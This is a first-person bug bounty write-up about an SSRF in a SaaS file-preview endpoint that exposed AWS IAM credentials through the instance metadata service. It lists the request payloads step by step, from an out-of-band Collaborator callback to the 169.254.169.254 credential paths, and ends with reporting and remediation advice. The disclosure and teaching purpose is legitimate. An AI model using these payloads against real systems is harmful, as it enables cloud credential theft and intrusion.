I almost missed it.
It looked like a simple image upload feature. Nothing special. But 20 minutes later, I was reading internal AWS metadata from a server that wasn't mine.
This is the story of how I found a critical Server-Side Request Forgery (SSRF) vulnerability β what I did, how I reported it, and what you can learn from it.
What Is SSRF? (Quick Explanation)
Before diving in, let me explain SSRF in plain English.
Imagine you ask a bank teller to go fetch a document for you. The teller goes into the back office β a place you can never enter β and brings it back. SSRF is exactly that. You trick a server into making requests on your behalf β to internal systems, cloud metadata endpoints, or even internal admin panels that are invisible to the outside world.
It's dangerous because:
- It bypasses firewalls
- It can expose AWS/GCP/Azure cloud credentials
- In the worst case, it leads to full Remote Code Execution (RCE)
How I Found It
I was hunting on a private program on Bugcrowd. The target was a large SaaS company with a file management feature.
I noticed one specific endpoint:
POST /api/v1/fetch-preview
{"url": "https://example.com/image.jpg"}The application was fetching a URL server-side to generate a thumbnail preview. My eyes lit up.
Step 1 β Basic Test
I replaced the URL with my Burp Collaborator address:
{"url": "http://YOUR-COLLABORATOR-ID.burpcollaborator.net"}Within 2 seconds β a DNS ping hit my Collaborator. The server was making outbound requests. SSRF confirmed at basic level. β
Step 2 β Internal Network Probe
Next, I tried internal addresses:
{"url": "http://169.254.169.254/latest/meta-data/"}169.254.169.254 is the AWS Instance Metadata Service β a goldmine if accessible.
The response came back with:
ami-id
hostname
iam/
instance-id
instance-typeMy heart rate went up. I dug deeper:
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}Response:
EC2InstanceRoleOne more step:
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2InstanceRole"}And there it was β temporary AWS credentials:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "REDACTED",
"Token": "REDACTED",
"Expiration": "2026-XX-XXTXX:XX:XXZ"
}I immediately stopped. I had proof of concept. I did not use those credentials β that crosses the ethical line.
The Report I Submitted
A good bug bounty report has 5 parts:[blog.hackbynight]β
1. Title: Critical SSRF via /api/v1/fetch-preview β AWS IAM Credentials Exposed
2. Severity: Critical (CVSS 9.8)
3. Impact: An attacker could use the exposed IAM credentials to access S3 buckets, read database snapshots, or potentially take over the entire AWS infrastructure.
4. Steps to Reproduce: Exact curl command, request/response screenshots, Collaborator proof.
5. Remediation:
- Block requests to
169.254.169.254at firewall level - Implement a strict allowlist for outbound URLs
- Use IMDSv2 (token-based) instead of IMDSv1
The Result
The program triaged it as Critical within 6 hours.
The fix was deployed in 48 hours.
The bounty was paid. π°
What You Can Learn From This
If you're a beginner reading this, here are the 3 things I want you to take away:
1. Always test URL input fields. Any feature that accepts a URL β image upload, webhook, PDF generator, link preview β is a potential SSRF entry point.
2. The metadata endpoint is your best friend.
http://169.254.169.254 on AWS, http://metadata.google.internal on GCP. Memorize these.
3. Stop at proof of concept. You don't need to dump the entire database to prove a critical bug. Show the impact clearly, stop there, and report it. Stay ethical. Always.
Tools I Used
- Burp Suite Professional β intercept and modify requests
- Burp Collaborator β detect out-of-band DNS/HTTP interactions
- curl β quick manual testing
- Nuclei β initial automated scanning
Final Thoughts
SSRF is one of the most underrated vulnerabilities in 2026. Most beginners skip URL parameters because they look boring.
Don't be most beginners.
The boring-looking input field at 11 PM on a Tuesday is where the critical bugs hide.
Happy hunting. π
Follow me on Medium for more real-world bug bounty writeups. I'm @HackerMD a cybersecurity researcher and bug bounty hunter from India.